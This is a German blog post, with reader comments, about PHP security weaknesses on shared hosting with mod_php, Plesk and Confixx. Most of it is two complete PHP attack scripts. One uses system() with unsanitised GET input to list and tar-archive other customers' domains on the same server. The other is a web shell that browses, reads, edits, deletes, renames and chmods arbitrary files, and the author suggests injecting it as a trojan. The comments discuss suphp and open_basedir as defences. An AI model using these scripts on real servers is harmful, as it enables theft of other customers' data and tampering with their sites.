Über den Author / Internet / Server / Confixx / PHP Sicherheit bei Shared Hosting

PHP Sicherheit bei Shared Hosting

~11 Min. Lesezeit

phpViele Hoster setzen auf Linux Server und auch Apache2.

Die User sind somit fähig auch PHP Skripte auf den Servern zu benutzen. Bei PHP gibt es 2 verschiedene Arten PHP einzubinden: mod_php und suphp. suphp hat eine verbesserte Sicherheit, aber ist langsamer und CPU lastiger. PHP verfügt zwar über ein SAFE_MODE, aber dieser ist mod_php keine wirkliche Sicherheit.

So kann man mit einer PHP Datei schnell mal andere Hostings backupen und sogar die Datenbank auslesen, ohne das der Betroffene etwas mitbekommt.

Egal auf welche Lösung der Hoster am Ende setzt, die Sicherheitseinstellungen von PHP bleiben die Gleichen, gegebenenfalls muss man nur die Verzeichnisstruktur und Exclude Liste anpassen. In meinem Beispiel verwende ich ein Skript, was auf Plesk ausgerichtet ist. Plesk ist wie Confixx auch eine Lösung von Parallels, wobei die Lösungen selbst nicht unsicherer/sicherer sind als Andere.

Doch damit die Hoster 100-1000de Kunden auf ein Server legen können, um den Gewinn zu maximieren, verzichten sie auf suphp und weitere Massnahmen um ein wenig Performance zu sparen und noch mehr Kunden auf einen Server zu bekommen.

Dieses Skript (Link) als Beispiel ermöglicht einem komplette Domains zu backupen welche von Plesk gehostet werden:

<!--
Das folgende Skript darf nur zu Testzwecken auf eigenen Servern getestet werden.
Ich weise ausdrücklich darauf hin das jeglicher Einsatz ohne Einwilligung der
Beteiligten strafrechtlich untersagt ist und ich keinerlei Haftung übernehme!
-->
<form action="<?=$_SERVER[PHP_SELF]?>" method="GET">
Verzeichnis: <input type="text" size="30" name="do_dir" value="<?
if ($_GET['do_dir'] == '')
{
	$_GET['do_dir'] = $_SERVER[DOCUMENT_ROOT];
}
echo $_GET['do_dir'];
?>" />
<input type="submit" name="do" value="scan"></form>
<hr>

<hr/><br/>
<?php

$savedir	= $_SERVER[DOCUMENT_ROOT];

$scharf = "off";

switch ($_GET['do'])
{
	case 'scan':
		?><form action="<?=$_SERVER[PHP_SELF]?>" method="GET">
		<input type="text" size="30" name="do_dir" value="<?=$_GET['do_dir']?>" />
		<b>Verzeichnisauflistung</b><br/>
		<textarea name="domains" style="width:100%;height:100%"><?
		system("cd ".$_GET['do_dir']." &amp;&amp; ls");
		?></textarea>
		Domains entfernen die nicht gebackupt werden sollten.<br/>
		<input type="submit" name="do" value="backup"><?
	break;
	case 'backup':

		$dom = explode(" ",$_GET['domains']);
		foreach($dom as $var => $wert)
		{
			?><b>Backup von Domain <?=$wert?></b><br/>
			<textarea style="width:100%;height:200px"><?
			$befehl = "tar -cvzf ".$savedir.$wert.".tar.gz ".$_GET['do_dir'].$wert." ".
			"--exclude anon_ftp --exclude bin --exclude conf --exclude error_docs ".
			"--exclude pd --exclude private --exclude statistics ".
			"--exclude web_users --exclude subdomains/*/conf --exclude ".
			"subdomains/*/error_docs";

			if ($scharf == "on") { system($befehl); echo "\r\n\r\nBackup erstellt..." }
			else { echo $befehl."\r\n\r\nIn Demomodus, kein Backup erstellt"; }

			?></textarea><br/><br/><?
		}
	break;
}
?>

Im Skript verwende ich den Befehl system() um zuerst ein ls auf den angegebenen Pfad auszuführen. Wechselt man dann in den WWW Root (meist /var/www/ oder /usr/var/www) sieht man auch die weiteren Benutzer. Anschliessend verwende ich nochmals system() um ein TAR Befehl abzusetzen und die gewünschten Verzeichnisse zu kopieren.

Auch wenn system() deaktiviert wäre per SAFE_MODE könnte man auf andere Möglichkeiten ausweichen.

Auch muss man nicht nur immer alles Backupen, man könnte doch einfach ein Trojaner in ein existierendes PHP einschleusen? Als Beispiel hier ein nettes Skript (Link), mit welchem sich einfach auf dem Server herum sufen, Dateien auslesen und schreiben lassen, wenn OPEN_BASEDIR nicht richtig konfiguriert wurde:

<?php
/*
Das folgende Skript darf nur zu Testzwecken auf eigenen Servern getestet werden.
Ich weise ausdrücklich darauf hin das jeglicher Einsatz ohne Einwilligung der
Beteiligten strafrechtlich untersagt ist und ich keinerlei Haftung übernehme!
*/
header("Expires: 2");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") ." GMT");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
header("Cache-Control: post-check=0, pre-check=0");

define("edit_file",   "3DFF76AA");
define("rename_file", "B2AAC2CC");
define("dir_f",       "FFFFFFFE");
define("create_file", "21AF8D00");
define("show_file",   "ED9A13DF");
define("del_file",    "6212F9D1");
define("chmod_f",     "99AAFFDD");
define("mkdir_f",     "A8F1D51D");

if(isset($_HTTP_GET_VARS)) { $_GET = $_HTTP_GET_VARS; }
if(isset($_HTTP_POST_VARS)) { $_POST = $_HTTP_POST_VARS; }
if(isset($_HTTP_SERVER_VARS)) { $_POST = $_HTTP_SERVER_VARS; }

$url = $_SERVER["PHP_SELF"]."?";

foreach($_GET as $key => $value)
{
    if (substr($key, 0, 3) != "KEY" &amp;&amp; substr($key, 0, '8') != "CHECKSUM" &amp;&amp; substr($key, 0, 9) != "CHECKSUM2" &amp;&amp; substr($key, 0, 9)

!= "CHECKSUM3")
    {
        $url .= $key."=".$value."&amp;amp;";
    }
}

while (list($key, $value) = each ($_GET)) {
    if (substr($key, 0, 3) != "KEY" &amp;&amp; substr($key, 0, '8') != "CHECKSUM" &amp;&amp; substr($key, 0, 9) != "CHECKSUM2" &amp;&amp; substr($key, 0, 9)

!= "CHECKSUM3")
    {
        $url .= $key."=".$value."&amp;amp;";
    }
}

if(isset($_POST["CHECKSUM"])) { $_GET["CHECKSUM"] = $_POST["CHECKSUM"]; }
if(isset($_POST["CHECKSUM2"])) { $_GET["CHECKSUM2"] = $_POST["CHECKSUM2"]; }
if(isset($_POST["CHECKSUM3"])) { $_GET["CHECKSUM3"] = $_POST["CHECKSUM3"]; }
$path=$_GET["CHECKSUM"];

$file=$_GET["CHECKSUM2"];
$path2=$_GET["CHECKSUM3"];
$link_back="<a href=\"".$url."KEY=".dir_f."&amp;amp;CHECKSUM=".$path."\">Back</a>";
switch($_GET["KEY"])
{
    case "":
    echo "<a href=\"".$url."KEY=FFFFFFFE&amp;amp;CHECKSUM=".$_SERVER['DOCUMENT_ROOT']."\">Start</a>";
    break;
    case rename_file:
    rename($path.$file, $path.$path2);
    echo "Done! ".$link_back;
    break;
    case dir_f:
    clearstatcache();
    if(substr($path,-1) != "/") { $path .= "/";}
    print "<h1>".$path."</h1>";
    print "<table bgcolor=\"grey\">";
    $dir = dir($path);
    while ($file = $dir->read()) {
    if($file != ".") {
        $real = realpath($path.$file);
        print "<tr><td><small>";

                                        if(is_readable($real)) { print "r";} else { print "-";}
                                        if(is_writeable($real)) { print "<font color=\"red\">w</font>";} else { print "-";}
                                        if(is_executable($real)) { print "x";} else { print "-";}

        print "</small></td>";
        if(is_dir($real))
        {
            print "<td bgcolor=\"lightgrey\" style=\"color:#000000;\">";
            print "<a href=\"".$url."KEY=".dir_f."&amp;amp;CHECKSUM=".$real."/\"><i>".$file."</i></a>";
        } else {
            print "<td bgcolor=\"white\" style=\"color:#000000;\">";
            print "<a href=\"".$url."KEY=".show_file."&amp;amp;CHECKSUM=".$path."&amp;amp;CHECKSUM2=".$file."\">".$file."</a>";
        }
        $perms = substr(decoct(fileperms($real)), -3);
        $tmp = posix_getpwuid(fileowner($real));
        $owner = $tmp["name"];
        $tmp = posix_getgrgid( filegroup($real));
        $group = $tmp["name"];
        print "</td>";
        print "<td bgcolor=\"lightgrey\">";
        print "<form action=\"".$url."KEY=".chmod_f."&amp;amp;CHECKSUM=".$path."&amp;amp;CHECKSUM2=".$file."\" method=\"post\">";
        print "<input type=\"text\" name=\"CHECKSUM3\" size=\"2\" maxlength=\"3\" value=\"".$perms."\">";
        print "</form>";
        print "</td>";
        print "<td><a href=\"".$url."KEY=".del_file."&amp;amp;CHECKSUM=".$path."&amp;amp;CHECKSUM2=".

$file."\"><small>DEL</small></a></td>";
        print "<td bgcolor=\"lightgrey\">".$owner."</td>";
        print "<td bgcolor=\"lightgrey\">".$group."</td>";
        print "<td>";
        if($file != "..")
        {
            print "<form action=\"".$url."KEY=".rename_file."&amp;amp;CHECKSUM=".$path."&amp;amp;CHECKSUM2=".$file."\" method=\"post\">";
            print "<input type=\"text\" name=\"CHECKSUM3\" value=\"".$file."\">";
            print "</form>";
        } else {
            print "<small>".$real."</small>";
        }
        if(is_link($path.$file)) { print "<small>=> ".$real."</small>";}
        print "</td></tr>";
    }
}
$dir->rewind();
$dir->close();
print "</table>";
if(is_writeable($path)) {
    print "<form action=\"".$url."KEY=".create_file."\" method=\"post\">";
    print "Create File (, Rights):<br>";
    print "<input type=\"hidden\" name=\"CHECKSUM\" value=\"".$path."\">";
    print "<input type=\"text\" size=\"20\" name=\"CHECKSUM2\">, ";
    print "<input type=\"text\" size=\"2\" maxlength=\"3\" name=\"CHECKSUM3\" value=\"755\">";
    print "</form>";

    print "<form action=\"".$url."KEY=".mkdir_f."\" method=\"post\">";
    print "Create Dir (, Rights):<br>";
    print "<input type=\"hidden\" name=\"CHECKSUM\" value=\"".$path."\">";
    print "<input type=\"text\" size=\"20\" name=\"CHECKSUM2\">, ";
    print "<input type=\"text\" size=\"2\" maxlength=\"3\" name=\"CHECKSUM3\" value=\"755\">";
    print "</form>";
}
print "<form action=\"".$url."KEY=".dir_f."\" method=\"post\">";
print "Goto:<br><input type=\"text\" size=\"100\" name=\"CHECKSUM\" value=\"".$path."\">";
print "</form>";
    break;
    case mkdir_f:
    mkdir($path.$file, octdec($path2));
    echo "Done! ".$link_back;
    break;
    case edit_file:
    clearstatcache();
    if(!is_writeable($path.$file)){ print "Nicht genügend Rechte! ".$link_back; exit;}
    $f = fopen($path.$file,"w");
    fwrite($f, stripslashes($path2));
    fclose($f);
    echo "Done! ".$link_back;
    break;
    case create_file:
    touch($path.$file, octdec($path2));
    echo "Done! ".$link_back;
    break;
    case show_file:
    clearstatcache();
    if(!is_readable($path.$file)){ print "Nicht genügend Rechte! ".$link_back; exit;}
    $f = fopen($path.$file, "r");
    print "<form action=\"".$url."&amp;amp;KEY=".edit_file."&amp;amp;CHECKSUM=".$path."&amp;amp;CHECKSUM2=".$file."\" method=\"post\">\n";
    print "<textarea cols=\"100\" rows=\"30\" name=\"CHECKSUM3\">";
    print htmlentities(fread($f, filesize($path.$file)));
    print "</textarea><br>";
    if(is_writeable($path.$file)) { print "<input type=\"submit\" value=\"Save\"> "; }
    print $link_back;
    print "</form>";
    fclose($f);
    break;
    case del_file:
    if(is_dir($path.$file))
    {
        rmdir($path.$file);
    } else {
        unlink($path.$file);
    }
    echo "Done! ".$link_back;
    break;
    case chmod_f:
    chmod($path.$file, octdec($path2));
    echo "Done! ".$link_back;
    break;
}
?>

Notfalls kann man das Ganze von PHP nach CGI verlagern und Server seitiges Java verwenden…
Wie man sieht, viele Möglichkeiten können genutzt werden, dennoch sollte man einige Hürden einbauen.

Wenn man nun denkt, dass ein Windows Server dagegen gefeilt ist, liegt man falsch. Da wäre dann einfach ASP die bevorzugte Variante wobei man vermutlich einfacheres Spiel hat.

Ich finde erschreckend wie viele Hoster auf Sicherheit verzichten und ihre Kundendaten den potentiellen Hackern frei Haus anbieten. Dies interessiert dennoch Niemand, da „Geiz ist Geil“ die Welt regiert und niedrige Kosten wichtiger sind.

Und wem vertraust Du deine Daten an?

About Stefan

avatar
Ein männlicher IT Nerd, durchstöbert das Web nach speziellen Gadgets, unentbehrlicher Software und Alles was man im IT Sektor nicht verpassen darf.Immer hilfsbereit wenn Probleme zu lösen sind oder das Unmögliche umgesetzt werden sollte.

Weitere interessante Artikel

PHP Trojaner – Wettbewerb

~2 Min. LesezeitIn der Serie der PHP Trojaner gibt es noch viele weitere Möglichkeiten zum …

PHP Trojaner (Teil 4: Codierte Uploader Infektion)

~2 Min. LesezeitNicht jeder PHP Trojaner kann auf den ersten Blick identifiziert werden, was der …

7 Kommentare

  1. avatar

    Hey Stefan,
    ein solcher Artikel beunruhigt schon etwas, was lässt sich dagegen tun?
    Lässt sich da was machen? Ich meine wie kann man das alles absichern? Es muss ja irgendwie möglich sein!

  2. avatar

    Immer zuerst beim Hoster anfragen wie die Server konfiguriert sind.
    Du hast ja ein eigener VServer mit SuPHP im Einsatz, wenn es mir Recht ist, dann ist dies abgesichert.

  3. avatar

    Du hast das alles eingerichtet 😛 Ich weiß nicht was da los ist, ist das gegen deine Scripts abgesichert?

  4. avatar

    Ist so, suphp verhindert vieles, aber menschliches Versagen nicht.
    Hast du auf deinem Hosting deinen PHP Files die Rechte nicht manuell geändert = Alles sicher.

    suphp untersagt dir z.B. mit PHP Files die falsche Rechte gesetzt haben zu arbeiten und gibt dann beim Aufruf ein Fehler aus. Sind die richtigen Rechte gesetzt = Niemand fremdes kann lesen oder schreiben darin.

    Gibst du aber z.B. deiner Configdatei 777 Rechten, könnte man es schon wieder lesen von einem anderen Hosting her, wenn da nicht noch open_basedir wäre, wo dies verhindert.

    Du hast also mehrfache Schutzmechanismen die dies verhindern bei dir in Petto. Viel eher sind davon MultiHoster betroffen, die gerne darauf verzichten für ein wenig mehr Performance und weniger RAM Auslastung.

  5. avatar

    Die höchsten Rechte die ich vergebe sind 775 mit besitzer WEBX.www-data also als Gruppe die Apache-Gruppe, damit die Datei vom PHP bearbeitet werden kann. Dieses Recht natürlcih nur auf diversen Dateien.

    Ist das eine Sicherheitslücke, also kann bsp web1 aus web2-dateien zugreifen die für die Gruppe freigegeben sind?

  6. avatar

    770 sollte dann aber reichen. Nein, dann zieht der open_basedir wo die User ins Verzeichnis einsperrt.

  7. avatar

    Coole Sache 🙂

    Danke Dir nochmal für diene Unterstützung ^^ Jetzt macht der vServer echt Spaß.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

eMail-Benachrichtigung bei weiteren Kommentaren.
Auch möglich: Abo ohne Kommentar.